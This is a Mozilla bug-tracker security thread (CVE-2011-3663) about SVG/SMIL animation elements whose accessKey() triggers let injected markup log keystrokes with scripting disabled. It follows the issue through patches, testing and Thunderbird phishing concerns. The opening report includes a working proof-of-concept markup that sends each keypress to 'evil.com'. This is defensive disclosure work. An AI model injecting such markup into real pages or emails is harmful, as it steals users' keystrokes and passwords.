Closed Bug 704482 (CVE-2011-3663) Opened 13 years ago Closed 13 years ago

SVG / SMIL <set> and <animate> elements allow key-logging w/o JavaScript

Categories

(Core :: SVG, defect, P4)

Product:
Core
Component:
SVG
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla11
Tracking Flags:
Tracking Status
firefox8 --- wontfix
firefox9 + fixed
firefox10 + fixed
firefox11 + verified
status1.9.2 --- unaffected
status1.9.1 --- unaffected

People

(Reporter: mario, Assigned: dholbert)

References

(
URL
)

Details

(Whiteboard: [sg:moderate][secr:dveditz][QA: see comment 90][qa+][qa!:11])

Attachments

(11 files, 2 obsolete files)

testcase.html
569 bytes, text/html
Details
patch 1 v2a: Parse but don't register
1.14 KB, patch
birtles
: review+
Details | Diff | Splinter Review
demo .eml #1: accessKey-triggered animation in saved email
424 bytes, text/html
Details
screencast of demo .eml #1
83.59 KB, video/ogg
Details
demo .eml #2: fake password dialog
3.48 KB, text/html
Details
screencast of demo .eml #2
400.48 KB, video/ogg
Details
patch 2 v1: bail out of event-listener registration, except for whitelist of SMIL events
2.00 KB, patch
birtles
: review+
Details | Diff | Splinter Review
patch 2 v2: bail out of event-listener registration, except for whitelist of SMIL events [r=birtles]
3.33 KB, patch
dholbert
: review+
Details | Diff | Splinter Review
patch 3 v2: tests to prove that whitelisted event-based animation still works [r=birtles r=jwir3]
14.46 KB, patch
dholbert
: review+
Details | Diff | Splinter Review
rollup of patches 1 & 2 for branch approval
3.31 KB, patch
akeybl
: approval-mozilla-aurora+
akeybl
: approval-mozilla-beta+
Details | Diff | Splinter Review
followup to fix leak
2.67 KB, patch
dbaron
: review+
Details | Diff | Splinter Review
Attached file testcase.html — 
User Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
Build ID: 20110928224103

Steps to reproduce:

SVG provides several elements allowing modification of existing element attributes. Those are <set>, <animate> and others: http://www.w3.org/TR/SVG/animate.html

These elements can contain an attribute called begin. This can -- among other values -- be applied with an access key listener by using the function accessKey(): http://www.w3.org/TR/SVG/animate.html#TimingAttributes

Example 1:
<!-- Press a to fill the circle with color 'red' -->
<svg height="50px">
<circle r="100">
<set attributeName="fill" begin="accessKey(a)" to="red" />
</circle>
</svg>

An attacker can use this to inject non-scripting markup into a website and afterwards record user's keystrokes. The attached test-case demonstrates that. 

Example 2:
<!doctype html>
<form>
<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>
<br>
<input name="secret" type="password">
</form>
<!-- injection -->
<svg height="50px">
<image xmlns:xlink="http://www.w3.org/1999/xlink">
<set attributeName="xlink:href" begin="accessKey(a)" to="//evil.com/?a" />
<set attributeName="xlink:href" begin="accessKey(b)" to="//evil.com/?b" />
<set attributeName="xlink:href" begin="accessKey(c)" to="//evil.com/?c" />
<set attributeName="xlink:href" begin="accessKey(d)" to="//evil.com/?d" />
</image>
</svg>

An MPEG video was made available as well to show the effect: http://www.twitvid.com/ICOMS




Actual results:

The attached test-case allows an attacker to send keystroke information to an arbitrary domain. Note: here we use //evil.com - you might want to change the PoC before testing to avoid referrer leakage. 

The issue was tested on various Firefox versions including 7.0.1, 8 and 11.0a1 (latest nightly) both Win7 and Ubuntu. All tested versions showed the described behavior.

The problem occurs as well in case the user has JavaScript deactivated / uses NoScript. NoScript author Giorgio Maone was informed about the bug. 


Expected results:

The access key listener should not listen on for keystrokes on document - or any given element on the loaded document. If necessary at all, the listener should work for the enclosing element, or the SVG -- but not leak to the rest of the document enclosing the SVG.

Firefox / Gecko-browsers are the only user agents showing this behavior (so far). Chrome and Opera do not leak the stroke listener to the whole document, IE doesn't support <set> and <animate>.
Severity: normal → critical
Priority: -- → P2
Just a short additional note on the chosen severity: I judged it rather high since depending on the context the risk for the affected websites and users might be very high. 

Stealing keystrokes with JS disabled/NoScript blocking JS execution is nasty... but depends on the scenario. Feel free to rate it down if necessary ;)
The whole point of accesskey is that it should work no matter what's focused....

This sounds like it needs to be escalated to a spec issue for SVG.
(In reply to Mario Heiderich from comment #0)
> Firefox / Gecko-browsers are the only user agents showing this behavior (so
> far). Chrome and Opera do not leak the stroke listener to the whole
> document, IE doesn't support <set> and <animate>.

Could you elaborate on Chrome/Opera's behavior?  e.g. do they normally support accessKey in SVG, but not if a textbox is focused?
(In reply to Mario Heiderich from comment #1)
> Stealing keystrokes with JS disabled/NoScript blocking JS execution is
> nasty... but depends on the scenario.

As long as this is restricted to the same document, then it seems like the SVG isn't really "stealing keystrokes" any more than the <input name="secret" type="password"> field is "stealing keystrokes", since the content receiving the keystrokes all comes from the same site.  As soon as you've got untrusted content injected into a login page, all bets are kind of off.  That said, it could still be worth trying to mitigate this.

I'm trying to think of an attack scenario.  I could imagine an evil/compromised ad-banner service telling sites "paste this chunk of SVG directly into your webpage, to show our advertising banner (and look, no scripts, so it's safe!)"  That seems like a bit of a stretch to me, but I can see it being worth worrying about.

Side note: It might be worth adding an about:config pref to completely disable accessKey support, for use by NoScript and paranoid users in general. (I say "paranoid" in the nicest of senses - I count myself in that group, generally. :))
(In reply to Daniel Holbert [:dholbert] from comment #3)
> (In reply to Mario Heiderich from comment #0)
> > Firefox / Gecko-browsers are the only user agents showing this behavior (so
> > far). Chrome and Opera do not leak the stroke listener to the whole
> > document, IE doesn't support <set> and <animate>.
> 
> Could you elaborate on Chrome/Opera's behavior?  e.g. do they normally
> support accessKey in SVG, but not if a textbox is focused?

In Opera you have to press Shift+Esc to activate access keys. The whole thing will look like this: http://img12.imageshack.us/img12/5896/bildschirmfoto1m.png

Chrome (as far as I can see) requires a link/input/.. with accesskey attribute to be able to use it. Seems no SVG accessKey() feature is available: http://code.google.com/p/chromium/issues/detail?id=5607
(In reply to Daniel Holbert [:dholbert] from comment #4)
> (In reply to Mario Heiderich from comment #1)
> > Stealing keystrokes with JS disabled/NoScript blocking JS execution is
> > nasty... but depends on the scenario.
> 
> As long as this is restricted to the same document, then it seems like the
> SVG isn't really "stealing keystrokes" any more than the <input
> name="secret" type="password"> field is "stealing keystrokes", since the
> content receiving the keystrokes all comes from the same site.  As soon as
> you've got untrusted content injected into a login page, all bets are kind
> of off.  That said, it could still be worth trying to mitigate this.
> 
> I'm trying to think of an attack scenario.  I could imagine an
> evil/compromised ad-banner service telling sites "paste this chunk of SVG
> directly into your webpage, to show our advertising banner (and look, no
> scripts, so it's safe!)"  That seems like a bit of a stretch to me, but I
> can see it being worth worrying about.
> 
> Side note: It might be worth adding an about:config pref to completely
> disable accessKey support, for use by NoScript and paranoid users in
> general. (I say "paranoid" in the nicest of senses - I count myself in that
> group, generally. :))

The attack scenario -- aside from markup injections and untrusted/semi-trusted sites running w/o JavaScript enabled -- are Iframes. What if malicious site A fames benign site B. A can -- even if no JS is active still steal keystrokes from B. We just have to combine the attack with autofocus. 

The other way round works as well -- benign site A frames untrusted site B (that's what we have HTML5 sand-boxed Iframes for - right?) and B can grab keystrokes w/o being white-listed by simply handling autofocus "properly". I am sure there are more ways to abuse this.

In general, as a security aware user I would assume my browser to not fall for any shenanigans in case JS is off. With this feature/bug any website is still possible to build a detailed key-event model capable of using almost the full SVG feature set to channel-out the data to any other domain. In essence NoScript is rendered more or less useless by this bug ;)
(In reply to Mario Heiderich from comment #6)
> The attack scenario -- aside from markup injections and
> untrusted/semi-trusted sites running w/o JavaScript enabled -- are Iframes.
> What if malicious site A fames benign site B. A can -- even if no JS is
> active still steal keystrokes from B. We just have to combine the attack
> with autofocus. 

This isn't very interesting because in 99% of cases JS is enabled. This only affects people who've disabled JS hoping that will prevent A from sniffing B's keystrokes. That's a very small audience.

> The other way round works as well -- benign site A frames untrusted site B
> (that's what we have HTML5 sand-boxed Iframes for - right?) and B can grab
> keystrokes w/o being white-listed by simply handling autofocus "properly". I
> am sure there are more ways to abuse this.

Sandboxed iframes using this to grab keystrokes is a lot more interesting.

> In general, as a security aware user I would assume my browser to not fall
> for any shenanigans in case JS is off. With this feature/bug any website is
> still possible to build a detailed key-event model capable of using almost
> the full SVG feature set to channel-out the data to any other domain. In
> essence NoScript is rendered more or less useless by this bug ;)

That is a huge exaggeration. The attack surface enabled by scripting is far larger and more interesting than access to key events.

I never wanted to implement this SMIL feature anyway, but I suppose it's too late to change that now :-(.

How about we disable all the input event SMIL triggers when scripting is disabled for the document?
(In reply to Daniel Holbert [:dholbert] from comment #4)
> Side note: It might be worth adding an about:config pref to completely
> disable accessKey support, for use by NoScript and paranoid users

FWIW, I filed bug 704553 on potentially adding this pref.

(In reply to Robert O'Callahan (:roc) (Mozilla Corporation) from comment #7)
> How about we disable all the input event SMIL triggers when scripting is
> disabled for the document?

That seems reasonable.  (I suppose that would make bug 704553 unnecessary, though.)
> That is a huge exaggeration. The attack surface enabled by scripting is far
> larger and more interesting than access to key events.

I tend to disagree a tiny bit. I personally like to pretty much not care about scripting risks with NoScript as my support -- and I assume other do as well. This "feature" gives an attacker "scriptish" abilities with JS and plug-ins disabled including key-event like behavior and a SOP bypass. Where is the exaggeration in this?
My first hunch was "we definitely want accessKeys in script-disabled documents, because that lets you do cool things even without scripts!"

But really, we don't ever have any script-disabled documents, except for
 (a) SVG images & external resource docs, which we don't send input to anyway
 (b) Full pages in the browsers of users who explicitly have scripting disabled -- and that very small subset of users (per end of comment 6) probably don't *want* accessKey-enhanced content.
(In reply to Mario Heiderich from comment #9)
> Where is the exaggeration in this?

You said "In essence NoScript is rendered more or less useless by this bug".

NoScript, and disabling JS in particular, provide far more protection than just blocking access to key events. Therefore that statement is an exaggeration.
(In reply to Robert O'Callahan (:roc) (Mozilla Corporation) from comment #11)
> (In reply to Mario Heiderich from comment #9)
> > Where is the exaggeration in this?
> 
> You said "In essence NoScript is rendered more or less useless by this bug".
> 
> NoScript, and disabling JS in particular, provide far more protection than
> just blocking access to key events. Therefore that statement is an
> exaggeration.

FWIW I added an emoticon to underline that this particular statement wasn't meant too seriously. But to avoid getting lost in nonsense - do we then agree on this having rather low security impact? Assuming that only a mentioned small subset of users would be affected I don't see any reason not to publish the sources of the PoC for community review and feedback.
Severity: critical → minor
Priority: P2 → P4
(In reply to Mario Heiderich from comment #12)
> Assuming that only a
> mentioned small subset of users would be affected I don't see any reason not
> to publish the sources of the PoC for community review and feedback.

May I ask you to keep this embargoed until I can publish a work-around for NoScript users, who are likely the vast majority of this "small subset"?
I hope this means just 7-10 days of delay, if AMO provides a timely approval for automatic update.
(In reply to Giorgio Maone from comment #13)
> (In reply to Mario Heiderich from comment #12)
> > Assuming that only a
> > mentioned small subset of users would be affected I don't see any reason not
> > to publish the sources of the PoC for community review and feedback.
> 
> May I ask you to keep this embargoed until I can publish a work-around for
> NoScript users, who are likely the vast majority of this "small subset"?
> I hope this means just 7-10 days of delay, if AMO provides a timely approval
> for automatic update.

@Giorgio Absolutely! It shall be released together with "that other thing" ;) (<- emoticon again)
Attached patch patch v1a (obsolete) — — Splinter Review 
Here's a patch along the lines of comment 7.
Assignee: nobody → dholbert
Status: UNCONFIRMED → NEW
Ever confirmed: true
Comment on attachment 576234 [details] [diff] [review]
patch v1a

Attached patch makes us reject accessKey() specifications in documents that have scripting disabled. (that is -- it behaves as if "accessKey" is unsupported & unrecognized)
Attachment #576234 - Attachment description: patch → patch v1a
Attachment #576234 - Flags: review?(roc)
Attachment #576234 - Flags: review?(birtles)
FWIW, I tested the patch using this testcase from MDN:
 https://developer.mozilla.org/@api/deki/services/developer.mozilla.org/35/images/b9d629dc-b1f5-a7b8-1d61-34da20bf6857.svg
after un-ticking the "Enable JavaScript" box in Preferences|Content.
Looking good from my side. In combination with bug 704553 I'd say extensions devs and users have enough levers at hand to avoid this info leak effectively.
(In reply to Mario Heiderich from comment #18)
> Looking good from my side.

Thanks!

> In combination with bug 704553 I'd say extensions
> devs and users have enough levers at hand to avoid this info leak
> effectively.

Assuming the patch here gets review+ and lands, I think I'd rather we WONTFIX bug 704553 -- if scripts are enabled, accessKey doesn't pose any additional risk and there's not much reason to disable it in a targeted way.  (Until/unless someone comes up with a good reason / use-case, it's better to avoid adding an additional code-path and about:config pref that'll need maintaining/testing.)

(Note that I filed bug 704553 back when I was in the mindset of the first chunk of Comment 10 -- but after realizing the second chunk of Comment 10, I feel like bug 704553 is probably unnecessary.)
(In reply to Daniel Holbert [:dholbert] from comment #17)
> FWIW, I tested the patch using this testcase from MDN:
>  https://developer.mozilla.org/@api/deki/services/developer.mozilla.org/35/
> images/b9d629dc-b1f5-a7b8-1d61-34da20bf6857.svg
> after un-ticking the "Enable JavaScript" box in Preferences|Content.

Does it work also if JS is disabled via CAPS or docShell.allowJavascript?
I'm not absolutely sure offhand (I haven't used those before & don't immediately know how to set them in a small testcase), but I assume nsDocument::IsScriptEnabled() checks the state that those methods set.

Do you know of an easy way to test those?  (It looks like docShell requires chrome privileges, right?  and I'm not sure how to accesst CAPS -- MXR searches for 'CAPS' and 'caps' in .html & .js files didn't seem to find anything related.)
OS: Linux → All
Hardware: x86 → All
(In reply to Daniel Holbert [:dholbert] from comment #21)

> Do you know of an easy way to test those?  (It looks like docShell requires
> chrome privileges, right?

CTRL+SHIFT+J to open the Error Console, then evaluate

top.opener.gBrowser.selectedBrowser.allowJavascript = false;

From then on, the currently open tab on the window which you open the Error Console from should be JS-disabled via docShell.

> and I'm not sure how to accesst CAPS -- MXR
> searches for 'CAPS' and 'caps' in .html & .js files didn't seem to find
> anything related.)

CAPS is http://www.mozilla.org/projects/security/components/ConfigPolicy.html and lives in nsScriptSecurityManager, mostly.

The easiest way for you to test it is installing http://noscript.net/getit and opening the test case.
Worked around in NoScript 2.2.2rc1 ( http://noscript.net/getit#devel ).

@.mario, if it looks good for you I'm gonna submit it for autoupdate in the beta channel tomorrow, and on the stable channel as soon as 2.2.1 gets approved (in a couple of days, probably). 

So, again, 7-10 days for disclosure. Thank you.
(In reply to Giorgio Maone from comment #22)
> CTRL+SHIFT+J to open the Error Console, then evaluate
> 
> top.opener.gBrowser.selectedBrowser.allowJavascript = false;
> 
> From then on, the currently open tab on the window which you open the Error
> Console from should be JS-disabled via docShell.

The keypress was still honored with those steps -- but I'm not sure this actually disabled javascript.  On a simple document with
  <body onclick="alert('click')" style="height: 100%; width: 100%"></body>
I still get alerts when I click, after typing the command into the error console, and also after I reload at that point (in case that's necessary).

So I don't think I've successfully tested the docShell JS-disabling-yet.

> CAPS is
> http://www.mozilla.org/projects/security/components/ConfigPolicy.html and
> lives in nsScriptSecurityManager, mostly.
> 
> The easiest way for you to test it is installing http://noscript.net/getit
> and opening the test case.

I verified that the patch works with CAPS, using NoScript -- the keypress doesn't start the animation, unless I allow scripts from mozilla.org.

(I used the "INSTALL" button on the noscript site rather than the dev version, to be sure I was benefiting from your workaround.  I got version 2.2 -- based on comment 23, I think that's what I should have been testing)
(In reply to Daniel Holbert [:dholbert] from comment #24)
> (I used the "INSTALL" button on the noscript site rather than the dev
> version, to be sure I was benefiting from your workaround.

Sorry -- I meant "to be sure I **wasn't** benefiting from your workaround."
(In reply to Daniel Holbert [:dholbert] from comment #24)
> So I don't think I've successfully tested the docShell JS-disabling-yet.

Sorry, my fault, I forgot a "docShell" in the property access chain. Should have been:

top.opener.gBrowser.selectedBrowser.docShell.allowJavascript = false;

> I verified that the patch works with CAPS, using NoScript -- the keypress
> doesn't start the animation, unless I allow scripts from mozilla.org.

Great, thanks. This means I can skip my work-around in the future based on Gecko version. Since NoScript 3.x uses docShell-based blocking instead of CAPS, though, knowing if that side is covered as well would be great too.
(In reply to Giorgio Maone from comment #26)
> top.opener.gBrowser.selectedBrowser.docShell.allowJavascript = false;

That worked -- it disabled scripts, and the accessKey (in the MDN testcase) isn't honored in subsequent loads.

(To clarify -- this patch blocks accessKey at *parse* time, so when you disable scripts (via any of the methods above), it generally won't prevent accessKey-handling until you reload.)
(In reply to Daniel Holbert [:dholbert] from comment #27)
> (In reply to Giorgio Maone from comment #26)

> (To clarify -- this patch blocks accessKey at *parse* time, so when you
> disable scripts (via any of the methods above), it generally won't prevent
> accessKey-handling until you reload.)

Does it mean that "content-document-global-created" observers which turn docShell.allowJavascript to false are safe?

If in doubt, you can test by installing http://noscript.net/nsa and checking the test case from http://evil.hackademix.net/xss/svg.html

Sorry, no UI NoScript >= 3 on desktop Firefox yet, but everything else works so evil.hackademix.net, which is not whitelisted, will have script blocked with the method above.
(In reply to Giorgio Maone from comment #28)
> If in doubt, you can test by installing http://noscript.net/nsa and checking
> the test case from http://evil.hackademix.net/xss/svg.html

I installed that addon version (along with Firebug, for its network panel).  With that setup,  http://evil.hackademix.net/xss/svg.html actually aborted almost every time I visited it (that crash appears to be Firebug-dependent), with this abort message:
> ##!!! ABORT: Metadata corrupted: 'data == limit', file ../../../mozilla/netwerk/cache/nsCacheMetaData.cpp, line 181

However -- I was able to load it successfully one time (so it looked like the video from comment 0), and I didn't get any per-keystroke output in the network panel. (This is using my patched build)

I tried to repeat this in an unpatched build for comparison, but I kept hitting the abort mentioned above, so I gave up.
Notice you don't need Firebug to reproduce, just use Firefox's built in Web Console, CTRL+SHIFT+K :)
Ah! I hadn't noticed that had a "Net" chunk in the Web Console.  Handy. :)

Anyway, yes -- with my patch applied and NSA installed from your link, the hackademix xss/svg.html page doesn't leak network traffic (and instead shows parse errors in the Web Console for the accessKey() specifications being not rejected & dropped)

I also tested these other configurations, and they all leak network traffic on that page, as expected:
  - basic build
  - basic build, with NoScriptAnywhere installed
  - patched build, without NoScriptAnywhere installed

(In reply to Giorgio Maone from comment #28)
> Does it mean that "content-document-global-created" observers which turn
> docShell.allowJavascript to false are safe?

I'm still not entirely sure what you meant by this question, but it sounds like the results above might give you the answer you were looking for. :)
Comment on attachment 576234 [details] [diff] [review]
patch v1a

Review of attachment 576234 [details] [diff] [review]:
-----------------------------------------------------------------

Looks great! Thanks Daniel!
Attachment #576234 - Flags: review?(birtles) → review+
Landed fix on mozilla-inbound:
  https://hg.mozilla.org/integration/mozilla-inbound/rev/da3319e4987c

I didn't include any tests at this point, to allow time for fix to make it to users (& for Giorgio to get his own workaround out to users, per comment 13), but we should eventually add tests for this.
Status: NEW → ASSIGNED
Flags: in-testsuite?
(gah -- mochitest failure in test_smilAccessKey.xhtml -- investigating, sorry. I did an mxr search for "accessKey" to find possibly-affected unittests (and I did find-in-page for "smil" and "svg" to filter those), but that didn't find this mochitest because MXR cut off the results at the first 1000 (most of which are non-SVG-related))
URL of orange test:
http://mxr.mozilla.org/mozilla-central/source/content/smil/test/test_smilAccessKey.xhtml

The test failure happens when we send a key event to a document that was created like so:
> document.implementation.createDocument(gSvgns, 'svg', null);

I'm willing to believe that scripts are legitimately disabled in documents that are dynamically created in this fashion (in which case the test-failure makes sense and the test's expectations should be changed), but I'm not sure yet.
(The failure is "Adopted node failed to catch accesskey event", from e.g. this test-failure log:
https://tbpl.mozilla.org/php/getParsedLog.php?id=7561901&tree=Mozilla-Inbound )

It looks like the test failure may actually indicate a bug in the patch -- while the node is created in a helper-document, it's ultimately adopted by the "main" document (which has scripts enabled), and it should definitely receive accessKey events there -- but it doesn't have "accessKey" specification because that got dropped/rejected back when it was parsed.

I think we might be able to fix this by changing the return code in the existing patch's "scripts disabled" case to NS_OK, so that we'll accept the accessKey() string as a valid value for our attribute (and serialize it when transferring nodes between documents, etc), but still not actually honoring it beyond that.
FWIW I just tested the feature with Thunderbird 9.0 - and it works as well. I didn't test TB 8.0 yet.

Only limitation is: TB will initially ask once if external resources are allowed. After that keystrokes can be channeled out. Matter of social engineering to get a user to click yes...

Screen: http://a.yfrog.com/img610/6136/fc3e.png

I would really love to see a different access key handling here - why wouldn't Gecko require a modifier such as Alt+ or Ctrl+ combos such as Opera? Would this variation give bug 704553 another chance for survival? With the possible flag described in that ticket - set to false on TB and other non-browser Geckos - we'd have better security imho.

I took liberty of raising this ticket back to severity normal. Sorry for the switcheroo but this bug and it's range is a bit too dynamic ;)
Severity: minor → normal
This updated patch only blocks accessKey at the point where we try to actually register for the event.

Unlike the previous patch, this one still lets us parse the accessKey value, so that an animation node that gets transfered between documents (without having its attributes re-parsed) will have the correct internal state to register for accessKey events in the new document, regardless of whether scripts were disabled in the old document.
Attachment #576234 - Attachment is obsolete: true
Attachment #577012 - Flags: review?(birtles)
Patch v2a passed TryServer, btw: https://tbpl.mozilla.org/?tree=Try&rev=1c178c8e938b
Comment on attachment 577012 [details] [diff] [review]
patch 1 v2a: Parse but don't register

Review of attachment 577012 [details] [diff] [review]:
-----------------------------------------------------------------

Looks great, thanks Daniel.

I wonder if you think it's useful to include the bug number in the comment though? Or perhaps another sentence explaining why disabling script should also disable accesskeys? I suspect that to a casual observer who hasn't read this bug, the connection isn't obvious.
Attachment #577012 - Flags: review?(birtles) → review+
Good call -- for now, I added a comment referencing this bug, & pushed the fix:
  https://hg.mozilla.org/integration/mozilla-inbound/rev/65da73949345

Ultimately, I agree that a sentence explaining the rationale would be better than a bug reference -- something like this:
> // 'accessKey' can allow key-logging in the document (just as scripts can).  Users
> // who've disabled scripts probably won't expect documents to have that capability,
> // so we disable accessKey-registration if scripts are disabled.

For now I've left that comment out (and I haven't included any testcases), to make the attack scenario less obvious, until Giorgio gets out his workaround for NoScript users (and this bug is ready to be opened up), per comment 13.

(Hopefully the patch-landing itself doesn't break the spirit of comment 13 -- apologies if it does.  I did previously notice that http://noscript.net/getit already mentions "potentially dangerous SMIL elements" and "scriptless keylogging" in the changelog for the current NoScript RC, and I don't think the patch leaks any more information about potential attacks than that changelog does.)
Target Milestone: --- → mozilla11
https://hg.mozilla.org/mozilla-central/rev/65da73949345
Status: ASSIGNED → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Attachment #576158 - Attachment mime type: text/plain → text/html
(In reply to Daniel Holbert [:dholbert] from comment #42)
> For now I've left that comment out (and I haven't included any testcases),
> to make the attack scenario less obvious, until Giorgio gets out his
> workaround for NoScript users (and this bug is ready to be opened up)

Please keep hidden until we have the fix in Thunderbird as well.
URL: http://evil.hackademix.net/xss/svg.html
Whiteboard: embargo until Thunderbird has a fix
In that case, I suspect this might be worth backporting to branches...
Comment on attachment 577012 [details] [diff] [review]
patch 1 v2a: Parse but don't register

I'm not sure whether this is worth taking on 'beta' branch, but I think we might as well take this on Aurora.

Cost/benefit notes:
 - Disables feature that could potentially be used for scriptless keylogging, when scripts are disabled. (The only location I know of where this has an effect is in web content for users who have scripts explicitly disabled - which is a pretty small audience.  But there might also be contexts I don't know about where we block scripts but allow SVG & references to external resources -- and in those contexts, this fix would be useful.  This might include HTML emails in Thunderbird...? I'm not sure.)

 - Small, targeted fix

 - Touches a feature that's not used widely on the web (SVG animation isn't widely used, and in particular the SVG animation "accessKey" feature is not widely used).  So, unlikely to have side-effects on existing content.
Attachment #577012 - Flags: approval-mozilla-aurora?
By default, we block remote content, unless the user whitelists the sender's e-mail address, and of course, e-mail addresses can be spoofed. So I think Thunderbird might be interested in having this fix for beta/TB 9. Though, not a lot of interesting keystrokes tend to happen in e-mail documents, if I'm understanding the scope of the problem.
(In reply to David :Bienvenu from comment #47)

> not a lot of interesting keystrokes tend to happen in e-mail documents, if
> I'm understanding the scope of the problem.

What does happen in design mode, e.g. if user is forwarding the content?
(In reply to Daniel Holbert [:dholbert] from comment #46)
> But there might also be
> contexts I don't know about where we block scripts but allow SVG &
> references to external resources -- and in those contexts, this fix would be
> useful.  This might include HTML emails in Thunderbird...? I'm not sure.)

Here's a .eml for a saved Thunderbird draft-message that includes a working accessKey-animated SVG rect. (View via File | Open Saved Message)  You have to have HTML email enabled for this to work, of course.

I couldn't get this working with remote images (I couldn't get remote images to load at all in a saved message, actually), so I'm not sure this can be used to remotely log keystrokes while a user is viewing a message.

Still, even if the attack isn't possible, I think accessKey-targeted animations are (like scripts) the sort of thing we'd want disabled in mail-reader documents.
here's a screencast of me hitting "s" 3 times while viewing the previous "saved message" file in Earlybird.
The saved message in comment 49 honors accessKey (turns red) in Earlybird:
  Mozilla/5.0 (X11; Linux x86_64; rv:10.0a2) Gecko/20111201 Thunderbird/10.0a2
but not in Daily:
  Mozilla/5.0 (X11; Linux x86_64; rv:11.0a1) Gecko/20111202 Thunderbird/11.0a1

This indicates that Thunderbird mail-reader windows are indeed affected by this bug, and that they do indeed benefit from the fix in comment 43. (hence Daily ignoring the animation)

This makes me even more inclined to land this on aurora branches, probably including Beta, for Thunderbird's benefit. Requesting beta approval as well.  (See comment 46 thru this comment for justification)
Attachment #577012 - Flags: approval-mozilla-beta?
(In reply to David :Bienvenu from comment #47)
> Though,
> not a lot of interesting keystrokes tend to happen in e-mail documents, if
> I'm understanding the scope of the problem.

Right - that makes this somewhat less concerning. (Attackers would only be able to detect keystrokes that are sent to the "display mail" document)

(In reply to Giorgio Maone from comment #48)
> What does happen in design mode, e.g. if user is forwarding the content?

Nothing -- no SMIL animations play at all, including time-based animations. (not sure why, offhand)
Thx a lot for the investigation, Daniel.
RE "#relman/triage/needs-info, sec-review-needed" keywords that akeybl added:
 (1) What #relman/triage info is needed?

 (2) Why is a security review needed here? (This is a security bug, not a new feature, and the fix is a *restriction* of an existing feature.)  Is the sec-review-needed on this bug's fix, or on the "accessKey" SMIL feature in general?

 (3) If a security-review is actually needed, should I be scheduling that?
(In reply to David :Bienvenu from comment #47)
> not a lot of interesting keystrokes tend to happen in e-mail documents, if
> I'm understanding the scope of the problem.

My concern was whether this could be a wire-tapping exploit if the victim replied to or forwarded the mail. For regular received mail it's interesting but not too worrying as you point out.
Unsure of the scope of Alex's sec-review-needed request. In the context of fixing this information leak I've verified that this patch does the right thing in checking whether scripts are enabled (that call ultimately checks the CAPS state used by NoScript as well as the docshell setting used by Thunderbird and most likely the upcoming <iframe sandbox> implementation).

If there was a larger concern about SMIL or SVG the sec-review-needed should be transferred to a separate new bug that clarifies the request.
Keywords: sec-review-needed → sec-review-complete
Whiteboard: embargo until Thunderbird has a fix → [secr:dveditz] embargo until Thunderbird has a fix
If this doesn't affect the mail composition window (and it doesn't seem to, per comment 52 and my own investigations) then it's an interesting demo but not that severe a security problem.
Whiteboard: [secr:dveditz] embargo until Thunderbird has a fix → [sg:low][secr:dveditz]
dholbert pointed out you could mail someone a phish that pops up something that looks like the password dialog and maybe get users to type in their password. Would work best for a targeted attack where you knew what client and OS the victim used (from the user-agent in mail they sent you?). Could be a pretty effective spoof/phish.
Comment on attachment 577012 [details] [diff] [review]
patch 1 v2a: Parse but don't register

Discussed in triage, but 2 weeks before release cut off, it feels like an sg:low here doesn't make the grade. Are we understating the impact?

Leaving aurora nom for now - that's a different risk calculus
Attachment #577012 - Flags: approval-mozilla-beta? → approval-mozilla-beta-
(In reply to Daniel Veditz from comment #58)
> dholbert pointed out you could mail someone a phish that pops up something
> that looks like the password dialog and maybe get users to type in their
> password.

Here's a POC .eml file to demo that.  (It doesn't actually load remote resources -- I can't get that to work in the "Open Saved Message" UI" -- but I beliefe if this were an actual email & you'd hit the "Show Remote Content" button, then this could phone home your keypresses.)
Here's a screencast of demo .eml #2.

Side note: there's a weird invalidation issue when the "dialog" appears.  That's not visible in actual desktop interaction (for me at least) -- just in the screencast.  So when you watch the screencast, ignore the bits that go blank at that point. :)
(I think it might be a real Gecko bug, but we can track it separately)
(In reply to Daniel Holbert [:dholbert] from comment #61)
> Side note: there's a weird invalidation issue when the "dialog" appears.

(Actually it's when the "WARNING: CAUGHT KEYPRESS" appears, I think. Anyway, ignore it. :))
Attachment #578751 - Attachment description: thunderbird "saved message" w/ SVG + accessKey → demo .eml #1: accessKey-triggered animation in saved email
Attachment #578760 - Attachment description: screencast of thunderbird saved message → screencast of demo .eml #1
Hmm -- I think we probably need to broaden this patch.

Turns out we can trigger animations off of more generic events, too. (e.g. "click", "mouseover", "mouseout", "SVGLoad" (<-- not super-scary, but it's an example of an arbitrary event name that works when you listen for it)  Setting begin=[any of the above] triggers animations for me (with scripts disabled), in a local testcase I just spun up.

I think we can actually listen for any event that could be passed into "addEventListener", basically.

We probably want to neuter all of those events when scripts are disabled -- not just accessKey.  It might be best to just drop the "mParams.mType == nsSMILTimeValueSpecParams::ACCESSKEY" conditional in the already-landed patch...

(I'm not sure if that would break other things in script-disabled environments, though -- e.g. maybe we need event-registration for other types of SMIL timing, like e.g. repeat values?)
On the other hand, maybe event-triggered animations (aside from accessKey) aren't worth worrying about, in non-scripted environments.  They're kind of equivalent to ":hover" CSS styling, which works regardless of script-enabled state.

Offhand, I can't think of anything particularly evil that an attacker could do from e.g. making an animation with begin="click" or begin="mouseover" (beyond what you could already do with :hover).

Mario / Giorgio, perhaps you guys can think of something creative/nefarious? :)
Daniel, your video demo is compelling. (Thanks!) However, given that this is marked as [sg:low] and dveditz's comment 57, if you think this should be +ed for beta, release drivers will need a statement that clearly describes the reasoning. This should help us make our decision for Aurora as well.
(In reply to Lawrence Mandel [:lmandel] from comment #65)
> Daniel, your video demo is compelling.

Thanks! :)

> However, given that this is
> marked as [sg:low] and dveditz's comment 57,

Note that dveditz posted that comment & sg:low rating *before* I presented him with the spoofing/phishing attack scenario that he mentioned in comment 58 (and that I demoed as "demo .eml #2")

Based on his sentiment in comment 58 and an IRC discussion with him around that time, I suspect he might be reconsidering the "low" rating. (not sure though)

> if you think this should be +ed for beta, release drivers will
> need a statement that clearly describes the reasoning.

Reasoning for why we should get this fix in Thunderbird releases ASAP:
======================================================================
This bug allows for Thunderbird emails to be interactive (despite script-disabledness) to the extent that they can phish users' email passwords, *if* the users have enabled remote content.

The remote-content requirement isn't too high of a bar, either -- an attack email can easily entice a user to enable remote content by saying (perhaps accurately):
   This email includes hot porn / hilarious cat gifs! Just click
   the [Show Remote Content] button above in order for it to show up!!!

